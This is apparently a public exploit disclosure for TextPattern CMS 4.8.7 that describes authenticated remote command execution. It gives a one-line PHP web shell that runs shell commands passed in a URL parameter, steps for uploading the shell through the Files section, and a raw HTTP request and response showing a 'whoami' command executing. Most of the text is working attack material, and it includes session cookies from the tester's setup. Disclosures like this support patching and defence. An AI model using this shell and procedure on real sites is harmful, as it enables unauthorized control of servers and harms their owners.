# Exploit Title: TextPattern CMS 4.8.7 - Remote Command Execution (RCE) (Authenticated)# Date: 2021/09/06# Exploit Author: Mert Daş merterpreter@gmail.com# Software Link: https://textpattern.com/file_download/113/textpattern-4.8.7.zip# Software web: https://textpattern.com/# Tested on: Server: Xampp
First of all we should use file upload section to upload our shell.
Our shell contains this malicious code:<?PHP system($_GET['cmd']);?>1) Go to content section .2) Click Files and upload malicious php file.3) go to yourserver/textpattern/files/yourphp.php?cmd=yourcode;
After upload our file, our request and response is like below :
Request:
GET /textpattern/files/cmd.php?cmd=whoami HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:89.0)
Gecko/20100101 Firefox/89.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: txp_login_public=18e9bf4a21admin; language=en-gb; currency=GBP;
PHPSESSID=cctbu6sj8571j2t6vp7g8ab7gi
Upgrade-Insecure-Requests:1
Response:
HTTP/1.1200 OK
Date: Thu,10 Jun 202100:32:41 GMT
Server: Apache/2.4.48(Win64) OpenSSL/1.1.1k PHP/7.4.20
X-Powered-By: PHP/7.4.20
Content-Length:22
Connection: close
Content-Type: text/html; charset=UTF-8
pc\mertdas